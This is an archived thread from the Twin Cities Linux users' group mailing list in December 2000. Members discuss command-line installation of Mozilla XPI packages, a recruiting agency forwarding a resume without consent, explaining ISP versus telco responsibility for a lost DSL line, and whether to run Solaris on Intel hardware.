freakzilla.com (Yaron) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Mozilla XPI installations? Message-ID: Hi, Mozilla (and Netscape 6) use .XPI packages for additional components, such as PSM and Java. Once you have installed Mozilla, you can point to an XPI file via URL (or load it from the local drive) and it'll get installed. I'm making a nice little "Download And Install Mozilla Nightly Build" script, and would like to automatically add PSM and Java rather than have to install them myself. I can download the XPI packages (from ftp://ftp.netscape.com/pub/netscape6/english/6.0/unix/linux22/xpi), but have found no commanline way to install them. THe only thing I found is actually running mozilla and giving it the file/url as the argument, except that then actually runs mozilla and asks you to click OK. I know you can disable confirmations but I don't want to do that - plus I want this to run even if it can't get into X for some reason. .XPI files are just ZIPped files, with an install.js file in them. Dunno if that helps or not... Anyone get this done? I found no help on mozilla.org. -Yaron -- From trammell at nitz.hep.umn.edu Fri Dec 1 10:38:55 2000 From: trammell at nitz.hep.umn.edu (John J. Trammell) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] advice [OT] Message-ID: <200012011638.KAA20074@nitz.hep.umn.edu> Hello LUGgers: I'm a newbie in the job search arena, and could use some advice on how to avoid a certain situation in the future. Say, hypothetically speaking, that you have a friend that just got a new job at company Foo via job-finding company Quux (rhymes with "sucks", as in "rat bastard fuckers die die die") Jobfinders Inc. This friend encourages you to apply for another position that's open at Foo; you do this, and in addition you ask the boys at Quux to see if they can locate some position for you. You find yourself fucked, because what does Quux do but send your resume off to Foo? Now Foo wants to hire you, but Quux says that Foo owes them some sort of finder's fee, even though you have a contact of your own at Foo, and really didn't get anything from Quux. Foo won't hire you because this fee is exorbitant, and why the hell should Quux get dime one anyhow? So how do other people manage this situation? My thought is that I should have made some agreement with Quux from the beginning that they had to have my permission to send my resume to Foo; once this was done, Foo was "theirs" and if they found a job there, they were entitled to the fee. This would leave me free to search on my own at Bar and Baz, Inc. Any other ways out of this? Regards, J From mthoren at mttcc.com Fri Dec 1 19:30:27 2000 From: mthoren at mttcc.com (Matt Thoren) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] advice [OT] References: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <3A2850B3.77130A7D@mttcc.com> John, Your Quux company should not send your resume and propose you to any company without your approval. In addition, normally, Quux should ask if you have been submitted to anyone and who those companies are so they don't send your stuff to them. In my experience as an independent contractor the above seems to be the rule. Your Quux company operates in a non-standard manner. Matt. "John J. Trammell" wrote: > > Hello LUGgers: > > I'm a newbie in the job search arena, and could use some advice > on how to avoid a certain situation in the future. > > Say, hypothetically speaking, that you have a friend that just > got a new job at company Foo via job-finding company Quux (rhymes > with "sucks", as in "rat bastard fuckers die die die") Jobfinders > Inc. > > This friend encourages you to apply for another position that's > open at Foo; you do this, and in addition you ask the boys at Quux > to see if they can locate some position for you. > > You find yourself fucked, because what does Quux do but send your > resume off to Foo? Now Foo wants to hire you, but Quux says that > Foo owes them some sort of finder's fee, even though you have a > contact of your own at Foo, and really didn't get anything from > Quux. Foo won't hire you because this fee is exorbitant, and > why the hell should Quux get dime one anyhow? > > So how do other people manage this situation? My thought is that > I should have made some agreement with Quux from the beginning that > they had to have my permission to send my resume to Foo; once this > was done, Foo was "theirs" and if they found a job there, they were > entitled to the fee. This would leave me free to search on my own > at Bar and Baz, Inc. > > Any other ways out of this? > > Regards, > J > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Matthew Thoren, MTT Computer Consulting Inc. 2633 Fremont Ave. North, Minneapolis, MN 55411 mthoren@mttcc.com, http://www.mttcc.com Contract/Hourly Programming and System Administrative Services. -------------- next part -------------- A non-text attachment was scrubbed... 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You're my hero I confess." -Ben Folds Five Battle Of Who Could Care Less -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/a11b7af1/attachment.pgp From ecrist at ardent-hacker.net Fri Dec 1 18:48:15 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> References: <20001201174400.H12133@real-time.com> Message-ID: <00120118513100.57547@armageddon.ardent-hacker.net> Explaining it this way might help: Qwest is the actual physical connection to the internet. In order for them to use that connection, they need a service provider. It's kind of like they can have a telephone line physically hooked up to the house, but the telephone company needs to turn it on. You're the guy who turns it on, without them there is no wire to turn on, with out you, there is no way for the wire to be turned on. Hell, if that doesn't work, call me, I've explained this stuff to people a million times. (I install Cable Modems and such for Charter Communications). Eric C. On Fri, 01 Dec 2000, you wrote: > Been running into this lately, so I thought I would ask the collective knowledge > of the LUG this question: > > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. > > The situation I am in is a client lost their DSL service from USWest. After days > of calling and hours on the phone with Qwest I was told that they are beyond the > 19,000 foot mark. > > Qwest says they should have never gotten DSL in the first place. Qwest will not, > no matter what put DSL down that circuit. Qwest has not explaination on how they > got DSL in the first place. > > Anyways, this client is very upset. They keep calling us and asking us to "fix > the problem". > > I have tried (very patiently) to explain Real Time is an ISP, we provide > Internet access. Qwest is a telco, they provide the physical connectivity. > > It just doesn't sink in. > > I have tried this analogy. Real Time is an automotive dealer, we sell cars. > Qwest is like MNDOT, they build roads. > > You (the client) have bought a speedy but very safe car (linux). It comes with > an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to > drive on. > > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, no > matter how bad you want to fix it from them, Qwest must be involved and they > must do the fix? > > > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From andy at theasis.com Fri Dec 1 19:23:22 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <00120118513100.57547@armageddon.ardent-hacker.net> Message-ID: > On Fri, 01 Dec 2000, you wrote: > > How do you explain to people the difference between a Telco and an ISP? 0. The Internet uses packets (datagrams). 1. The packets ride on phone lines. 2. For that (1) to work, Qwest has to set up ("provision") the line so that it can convey packets. 3. Because of the distance between Qwest's CO and the customer, they refuse to provision the line. 4. There's nothing Real-Time can do to change Qwest's policy. Andy From destef at destef.com Fri Dec 1 20:23:41 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <200006072240.RAA01229@mail.destef.com> The simplist solution is to do one or the other. Either go through the headhunter or look on your own, but not do both at the same time. Its stupid to have to but thats the only way to be sure to avoid it. How did Quux find out that you interviewed at that company anyway? Did you slip up and tell them? Ask for the papers that they *supposedly* gave you to let you know that Foo was intereted. If they cant produce any, tell them to F*** off. Foo should know if they felt they went through Quux or dealt directly with you. If they are playing dumb then you dont want to work for a stupid company like that anyway. Companies that accept resumes from headchoppers should be prepared to deal with this problem. Sounds like you just got bit. Tell Quux to F*** off and tell Foo that your walking, if they are serious about the offer they will hire you, otherwise your better off looking elsewhere. I'd pull your resume from Quux for sure and continue looking on your own (or go to another headchopper and get the info worked out up front). Bottom line, it sounds like you just got bit due to back luck. Sucks to hear companies act that way though. My .02 At 10:38 AM 12/1/00 -0600, you wrote: >Hello LUGgers: > >I'm a newbie in the job search arena, and could use some advice >on how to avoid a certain situation in the future. > >Say, hypothetically speaking, that you have a friend that just >got a new job at company Foo via job-finding company Quux (rhymes >with "sucks", as in "rat bastard fuckers die die die") Jobfinders >Inc. > >This friend encourages you to apply for another position that's >open at Foo; you do this, and in addition you ask the boys at Quux >to see if they can locate some position for you. > >You find yourself fucked, because what does Quux do but send your >resume off to Foo? Now Foo wants to hire you, but Quux says that >Foo owes them some sort of finder's fee, even though you have a >contact of your own at Foo, and really didn't get anything from >Quux. Foo won't hire you because this fee is exorbitant, and >why the hell should Quux get dime one anyhow? > >So how do other people manage this situation? My thought is that >I should have made some agreement with Quux from the beginning that >they had to have my permission to send my resume to Foo; once this >was done, Foo was "theirs" and if they found a job there, they were >entitled to the fee. This would leave me free to search on my own >at Bar and Baz, Inc. > >Any other ways out of this? > >Regards, >J > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > From destef at destef.com Fri Dec 1 20:33:08 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> Message-ID: <200006072250.RAA01242@mail.destef.com> Real Time rents the physical line from Qwaste between the user and Real Time. Qwaste OWNS the line and equipment and has the final say over what goes over those lines.If they say the lines cant be used for DSL, the user or ISP has no say. Its a crock of shit that they are changing their story like this but it doesnt surprise me. Regardless of the fact that Qwaste bought USWaste, its still USWaste running things (the same mgmt) and they have been worthless for service--especially to home users. I've fought with them time and time again. Im moving down the hall in my apt here this weekend and they will most likely have my DSL down for a month even though I'm not even leaving my building. 10 mins from a tech to move a few wires in my apt basement and it would be done. Im gonna get screwed. They are just shit for customer service. What the twin cities needs is a class-action lawsuit against them to wake them up. Anyone gets one going and I'm in!! Good luck. At 05:44 PM 12/1/00 -0600, you wrote: >Been running into this lately, so I thought I would ask the collective knowledge >of the LUG this question: > >How do you explain to people the difference between a Telco and an ISP? > >The people are totally newbies and very, very non-techincal. > >The situation I am in is a client lost their DSL service from USWest. After days >of calling and hours on the phone with Qwest I was told that they are beyond the >19,000 foot mark. > >Qwest says they should have never gotten DSL in the first place. Qwest will not, >no matter what put DSL down that circuit. Qwest has not explaination on how they >got DSL in the first place. > >Anyways, this client is very upset. They keep calling us and asking us to "fix >the problem". > >I have tried (very patiently) to explain Real Time is an ISP, we provide >Internet access. Qwest is a telco, they provide the physical connectivity. > >It just doesn't sink in. > >I have tried this analogy. Real Time is an automotive dealer, we sell cars. >Qwest is like MNDOT, they build roads. > >You (the client) have bought a speedy but very safe car (linux). It comes with >an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to >drive on. > >It didn't sink in. > >So, how can you explain to the client that when the physical link is down, no >matter how bad you want to fix it from them, Qwest must be involved and they >must do the fix? > > > >-- >Bob Tanner | Phone : (612)943-8700 >http://www.mn-linux.org | Fax : (612)943-8500 >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > From isla0005 at tc.umn.edu Fri Dec 1 22:46:09 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] advice [OT] References: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <3A287E91.57FF2BF0@tc.umn.edu> I thought they could not send your resume to someone before contacting you. This would be a total violation of privacy. (Unless of course you have signed something!) I would call the attorney general of MN and explain the situation. What I am thinking is that they would call this "Quux" and stop this harrashment. Apu "John J. Trammell" wrote: > Hello LUGgers: > > I'm a newbie in the job search arena, and could use some advice > on how to avoid a certain situation in the future. > > Say, hypothetically speaking, that you have a friend that just > got a new job at company Foo via job-finding company Quux (rhymes > with "sucks", as in "rat bastard fuckers die die die") Jobfinders > Inc. > > This friend encourages you to apply for another position that's > open at Foo; you do this, and in addition you ask the boys at Quux > to see if they can locate some position for you. > > You find yourself fucked, because what does Quux do but send your > resume off to Foo? Now Foo wants to hire you, but Quux says that > Foo owes them some sort of finder's fee, even though you have a > contact of your own at Foo, and really didn't get anything from > Quux. Foo won't hire you because this fee is exorbitant, and > why the hell should Quux get dime one anyhow? > > So how do other people manage this situation? My thought is that > I should have made some agreement with Quux from the beginning that > they had to have my permission to send my resume to Foo; once this > was done, Foo was "theirs" and if they found a job there, they were > entitled to the fee. This would leave me free to search on my own > at Bar and Baz, Inc. > > Any other ways out of this? > > Regards, > J > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From dkleist at acm.org Fri Dec 1 21:01:52 2000 From: dkleist at acm.org (Dave Kleist) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] advice [OT] Message-ID: <01C05BD9.EE9EF6C0.dkleist@acm.org> This is SOP for about half the recruiting firms in town. Best way out of it is to remove yourself from Quux's interest. You can try asking to have your resume removed from their files, but that's no guarantee. Worst case, you need to call Quux in about a week, and lie and tell them you found a job, preferably at some small shop they know nothing about (make up a name if you have to). They'll ask for a phone number, tell them "you know how it goes, no phone yet" but you'll call as soon as you have the number. Call them from home in the evening to make it look good. Problem is, as long you're actively looking and haven't called them off, they'll spoil many of your submissions. Most places will simply throw your resume away if they see duplicate submissions (or used to, before the labor market got so tight). For your question, it's best to keep those things straight upfront, but even then, that's no guarantee. The sweatshop recruiting shops will pass the resume around, and while you may have made an arrangement with one recruiter, there's no guarantee a different recruiter won't send it out. Best bet is to find out who's good through your network of friends and associates, and only work with those folks. - Dave -----Original Message----- From: John J. Trammell [SMTP:trammell@nitz.hep.umn.edu] Sent: Friday, December 01, 2000 10:39 AM To: tclug-list@lists.real-time.com Subject: [TCLUG] advice [OT] Hello LUGgers: I'm a newbie in the job search arena, and could use some advice on how to avoid a certain situation in the future. Say, hypothetically speaking, that you have a friend that just got a new job at company Foo via job-finding company Quux (rhymes with "sucks", as in "rat bastard fuckers die die die") Jobfinders Inc. This friend encourages you to apply for another position that's open at Foo; you do this, and in addition you ask the boys at Quux to see if they can locate some position for you. You find yourself fucked, because what does Quux do but send your resume off to Foo? Now Foo wants to hire you, but Quux says that Foo owes them some sort of finder's fee, even though you have a contact of your own at Foo, and really didn't get anything from Quux. Foo won't hire you because this fee is exorbitant, and why the hell should Quux get dime one anyhow? So how do other people manage this situation? My thought is that I should have made some agreement with Quux from the beginning that they had to have my permission to send my resume to Foo; once this was done, Foo was "theirs" and if they found a job there, they were entitled to the fee. This would leave me free to search on my own at Bar and Baz, Inc. Any other ways out of this? Regards, J _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From jack at jacku.com Fri Dec 1 21:23:47 2000 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> References: <20001201174400.H12133@real-time.com> Message-ID: <00120121222600.01237@geezer> Relate it to the other disjoint service that uses their phone line - long distance. Lets say the client has Sprint as their long distance carrier and Qwest as their local provider. If all of a sudden they can't make long distance calls because the phone line doesn't work calling Sprint won't help. Or another variation, this time on your car and road analogy. The buy a cruise from ABC Cruise company. The cruise departs from Los Angeles and they are responsible for getting themselves to Los Angeles before the ship leaves. They book a flight on NWA to get to LA the day they sail. (It may even have been facilitated by ABC Cruise) When the time to fly comes the mechanics are on strike and the flight is cancelled. They complain to ABC Cruise but they can't do anything because they aren't NWA and are not responsible for getting them the LA. (It says so in the contract.) They would like to help, and maybe they do calling another airline or something, but in reality its out of their hands. I don't think either of these will help ;-) But I figured I'd try. Jack On Friday 01 December 2000 17:44, you wrote: > Been running into this lately, so I thought I would ask the collective > knowledge of the LUG this question: > > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. > > The situation I am in is a client lost their DSL service from USWest. After > days of calling and hours on the phone with Qwest I was told that they are > beyond the 19,000 foot mark. > > Qwest says they should have never gotten DSL in the first place. Qwest will > not, no matter what put DSL down that circuit. Qwest has not explaination > on how they got DSL in the first place. > > Anyways, this client is very upset. They keep calling us and asking us to > "fix the problem". > > I have tried (very patiently) to explain Real Time is an ISP, we provide > Internet access. Qwest is a telco, they provide the physical connectivity. > > It just doesn't sink in. > > I have tried this analogy. Real Time is an automotive dealer, we sell cars. > Qwest is like MNDOT, they build roads. > > You (the client) have bought a speedy but very safe car (linux). It comes > with an airbag (ipchains) for safety, etc.. You got the car, but there is > no roads to drive on. > > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, > no matter how bad you want to fix it from them, Qwest must be involved and > they must do the fix? From jack at jacku.com Fri Dec 1 21:22:26 2000 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> References: <20001201174400.H12133@real-time.com> Message-ID: <00120121222600.01237@geezer> Relate it to the other disjoint service that uses their phone line - long distance. Lets say the client has Sprint as their long distance carrier and Qwest as their local provider. If all of a sudden they can't make long distance calls because the phone line doesn't work calling Sprint won't help. Or another variation, this time on your car and road analogy. The buy a cruise from ABC Cruise company. The cruise departs from Los Angeles and they are responsible for getting themselves to Los Angeles before the ship leaves. They book a flight on NWA to get to LA the day they sail. (It may even have been facilitated by ABC Cruise) When the time to fly comes the mechanics are on strike and the flight is cancelled. They complain to ABC Cruise but they can't do anything because they aren't NWA and are not responsible for getting them the LA. (It says so in the contract.) They would like to help, and maybe they do calling another airline or something, but in reality its out of their hands. I don't think either of these will help ;-) But I figured I'd try. Jack On Friday 01 December 2000 17:44, you wrote: > Been running into this lately, so I thought I would ask the collective > knowledge of the LUG this question: > > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. > > The situation I am in is a client lost their DSL service from USWest. After > days of calling and hours on the phone with Qwest I was told that they are > beyond the 19,000 foot mark. > > Qwest says they should have never gotten DSL in the first place. Qwest will > not, no matter what put DSL down that circuit. Qwest has not explaination > on how they got DSL in the first place. > > Anyways, this client is very upset. They keep calling us and asking us to > "fix the problem". > > I have tried (very patiently) to explain Real Time is an ISP, we provide > Internet access. Qwest is a telco, they provide the physical connectivity. > > It just doesn't sink in. > > I have tried this analogy. Real Time is an automotive dealer, we sell cars. > Qwest is like MNDOT, they build roads. > > You (the client) have bought a speedy but very safe car (linux). It comes > with an airbag (ipchains) for safety, etc.. You got the car, but there is > no roads to drive on. > > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, > no matter how bad you want to fix it from them, Qwest must be involved and > they must do the fix? From dieman at ringworld.org Fri Dec 1 22:11:26 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:12:55 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <200006072250.RAA01242@mail.destef.com>; from destef@destef.com on Fri, Dec 01, 2000 at 08:33:08PM -0600 References: <20001201174400.H12133@real-time.com> <200006072250.RAA01242@mail.destef.com> Message-ID: <20001201221126.E15922@ringworld.org> * Jason DeStefano [001201 20:34]: > Real Time rents the physical line from Qwaste between the user and > Real Time. Qwaste OWNS the line and equipment and has the final say Nope, RT owns a Frame local loop to qwest. RT buys a PVC on that local loop to MegaCentral. MegaCentral operates up to the DSLAM, and the rest is qwest owned copper loops. The only part that RT has 'rights' over is that there PVC. And users generally 'own' the CPE. Its too confusing :| -- Scott Dier #nicnac@efnet http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "You never rest, Fight the battle of who could care less, Unearned unhappiness... You're my hero I confess." -Ben Folds Five Battle Of Who Could Care Less -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/c7bebeed/attachment.pgp From blutgens at sistina.com Fri Dec 1 23:12:12 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com>; from tanner@real-time.com on Fri, Dec 01, 2000 at 05:44:00PM -0600 References: <20001201174400.H12133@real-time.com> Message-ID: <20001201231212.B2530@socrates.sistina.com> On Fri, Dec 01, 2000 at 05:44:00PM -0600, Bob Tanner wrote: >How do you explain to people the difference between a Telco and an ISP? > Explain to them that the only way they can connect from thier house to you (The Internet Service Provider) is by way of the wires that are monopolized by qwest. >The people are totally newbies and very, very non-techincal. > >The situation I am in is a client lost their DSL service from USWest. After days >of calling and hours on the phone with Qwest I was told that they are beyond the >19,000 foot mark. > >Qwest says they should have never gotten DSL in the first place. Qwest will not, >no matter what put DSL down that circuit. Qwest has not explaination on how they >got DSL in the first place. > >Anyways, this client is very upset. They keep calling us and asking us to "fix >the problem". > >I have tried (very patiently) to explain Real Time is an ISP, we provide >Internet access. Qwest is a telco, they provide the physical connectivity. > >It just doesn't sink in. > >I have tried this analogy. Real Time is an automotive dealer, we sell cars. >Qwest is like MNDOT, they build roads. > >You (the client) have bought a speedy but very safe car (linux). It comes with >an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to >drive on. > >It didn't sink in. > >So, how can you explain to the client that when the physical link is down, no >matter how bad you want to fix it from them, Qwest must be involved and they >must do the fix? > > > >-- >Bob Tanner | Phone : (612)943-8700 >http://www.mn-linux.org | Fax : (612)943-8500 >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/b031fe5b/attachment.pgp From jamie at floyd.getsetnet.net Fri Dec 1 23:20:47 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201231212.B2530@socrates.sistina.com> Message-ID: You might also try explaining it in a way that is more specific, then maybe they will understand. You might explain that the phone company needs to installsuch and such equipment before you can connect and provide services. Then it will be more narrowed down in their minds. They will be able to more concretely define what needs to be done, and that only the phone company can install that equipment. Then they can blame the phone company for not installing the equipment. Explaining it that way will become more tangible to them. On Fri, 1 Dec 2000, Ben Lutgens wrote: > On Fri, Dec 01, 2000 at 05:44:00PM -0600, Bob Tanner wrote: > >How do you explain to people the difference between a Telco and an ISP? > > > > Explain to them that the only way they can connect from thier house to you > (The Internet Service Provider) is by way of the wires that are monopolized by > qwest. > > >The people are totally newbies and very, very non-techincal. > > > >The situation I am in is a client lost their DSL service from USWest. After days > >of calling and hours on the phone with Qwest I was told that they are beyond the > >19,000 foot mark. > > > >Qwest says they should have never gotten DSL in the first place. Qwest will not, > >no matter what put DSL down that circuit. Qwest has not explaination on how they > >got DSL in the first place. > > > >Anyways, this client is very upset. They keep calling us and asking us to "fix > >the problem". > > > >I have tried (very patiently) to explain Real Time is an ISP, we provide > >Internet access. Qwest is a telco, they provide the physical connectivity. > > > >It just doesn't sink in. > > > >I have tried this analogy. Real Time is an automotive dealer, we sell cars. > >Qwest is like MNDOT, they build roads. > > > >You (the client) have bought a speedy but very safe car (linux). It comes with > >an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to > >drive on. > > > >It didn't sink in. > > > >So, how can you explain to the client that when the physical link is down, no > >matter how bad you want to fix it from them, Qwest must be involved and they > >must do the fix? > > > > > > > >-- > >Bob Tanner | Phone : (612)943-8700 > >http://www.mn-linux.org | Fax : (612)943-8500 > >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > From trammell at nitz.hep.umn.edu Fri Dec 1 15:56:25 2000 From: trammell at nitz.hep.umn.edu (John J. Trammell) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] advice [OT] Message-ID: <200012012156.PAA20333@nitz.hep.umn.edu> Hi all: Thanks for the advice. A few minutes' poking around on the Minnesota Labor Statutes pages yields quite a bit. Starting from: http://www.revisor.leg.state.mn.us/stats/184/ it's clear that the company fits the definition of "employment agency"; then according to http://www.revisor.leg.state.mn.us/stats/184/37.html it's quite clear that they're supposed to have a written contract with me before they can do doodly-squat: Every employment agent shall contract, in writing, with every applicant for employment for services to be rendered to the applicant by the employment agent, which contract shall contain the date, the name and address of the employment agency, the name of the employment agent, the service charge to be made to the applicant, and the time and method of payments. Not that this fixes anything -- Foo is the one at risk of having to pay the finder's fee... good to know the laws for this make sense though. J From isla0005 at tc.umn.edu Sat Dec 2 04:47:58 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Solaris for Intel References: <01C05BD9.EE9EF6C0.dkleist@acm.org> Message-ID: <3A28D35D.E4D41BD0@tc.umn.edu> Solaris was available from Sun for intel machines couple months ago. Sun claims it's based on the same source code and very stable, also it's free for students and developers. I am wondering if any of you have used it or would it be wise to switch to solaris from my existing freeBSD 4.2 ? Apu From jethro at freakzilla.com Sat Dec 2 02:45:06 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Solaris for Intel In-Reply-To: <3A28D35D.E4D41BD0@tc.umn.edu> Message-ID: Hi, On Sat, 2 Dec 2000, Apu wrote: > would it be wise to switch to solaris from my existing freeBSD 4.2 ? No. -Yaron -- From jethro at freakzilla.com Sat Dec 2 02:52:22 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Solaris for Intel In-Reply-To: <3A28D35D.E4D41BD0@tc.umn.edu> Message-ID: Hi again, Ok, so I _tried_ doing the One Word Wiseass Reply. I can't do it!!! On Sat, 2 Dec 2000, Apu wrote: > and developers. I am wondering if any of you have used it or would it be wise > to switch to solaris from my existing freeBSD 4.2 ? Ok. It might be stable, I never really had the patience to wait for it to bloody DO SOMETHING ALREADY to give it the chance. It's really slow, if it's based on the same source how come it WORKS DIFFERENTLY, how come Sun promised me a CD to prove it's better thna Linux and I never got it, etc, etc. Solaris rocks on Sparcs. I'm not putting it on anything else unless I _really_ need Solaris. Speaking of which, anyone ever get Solaris Jumpstart off a Linux box? (: -Yaron -- From barnabas at knicknack.net Sat Dec 2 06:55:30 2000 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <200012011638.KAA20074@nitz.hep.umn.edu>; from trammell@nitz.hep.umn.edu on Fri, Dec 01, 2000 at 10:38:55AM -0600 References: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <20001202065530.A15007@knicknack.net> Here's a suggestion for the future. Put a copyright notice on your resume, something like Copyright (C) 2000 John Q. Public. All rights reserved. No duplication or distribution permitted without the author's permission. That way if they do give it to someone without your permission, you can hold the flame of copyright law to their feet to get them to back off. I'm not sure whether this would work, but it may be worth a try. Any feedback? Eric On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: > Hello LUGgers: > > I'm a newbie in the job search arena, and could use some advice > on how to avoid a certain situation in the future. > > Say, hypothetically speaking, that you have a friend that just > got a new job at company Foo via job-finding company Quux (rhymes > with "sucks", as in "rat bastard fuckers die die die") Jobfinders > Inc. > > This friend encourages you to apply for another position that's > open at Foo; you do this, and in addition you ask the boys at Quux > to see if they can locate some position for you. > > You find yourself fucked, because what does Quux do but send your > resume off to Foo? Now Foo wants to hire you, but Quux says that > Foo owes them some sort of finder's fee, even though you have a > contact of your own at Foo, and really didn't get anything from > Quux. Foo won't hire you because this fee is exorbitant, and > why the hell should Quux get dime one anyhow? > > So how do other people manage this situation? My thought is that > I should have made some agreement with Quux from the beginning that > they had to have my permission to send my resume to Foo; once this > was done, Foo was "theirs" and if they found a job there, they were > entitled to the fee. This would leave me free to search on my own > at Bar and Baz, Inc. > > Any other ways out of this? > > Regards, > J > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Sat Dec 2 07:25:53 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Solaris for Intel Message-ID: Don't do it. If you actually manage to get it installed, which is nearly impossible if you have a homebuilt machine, it's slow. You won't be very pleased with the performance. It's fun to play around with, but I see no benefit of moving away from your BSD install. Solaris runs well on Sun hardware, but not x86. Jay > -----Original Message----- > From: Apu [mailto:isla0005@tc.umn.edu] > Sent: Saturday, December 02, 2000 4:48 AM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Solaris for Intel > > > Solaris was available from Sun for intel machines couple > months ago. Sun claims > it's based on the same source code and very stable, also it's > free for students > and developers. I am wondering if any of you have used it or > would it be wise > to switch to solaris from my existing freeBSD 4.2 ? > > Apu > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From dkleist at acm.org Sat Dec 2 08:13:35 2000 From: dkleist at acm.org (Dave Kleist) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] advice [OT] Message-ID: <01C05C37.C537D0A0.dkleist@acm.org> I wouldn't bother. Legal recourse is not worth it unless you are planning to back it up with lawyers. The shady recruiting firms/employers know this, which is why they can get away with what some view as illegal measures. It's too expensive to make them stop 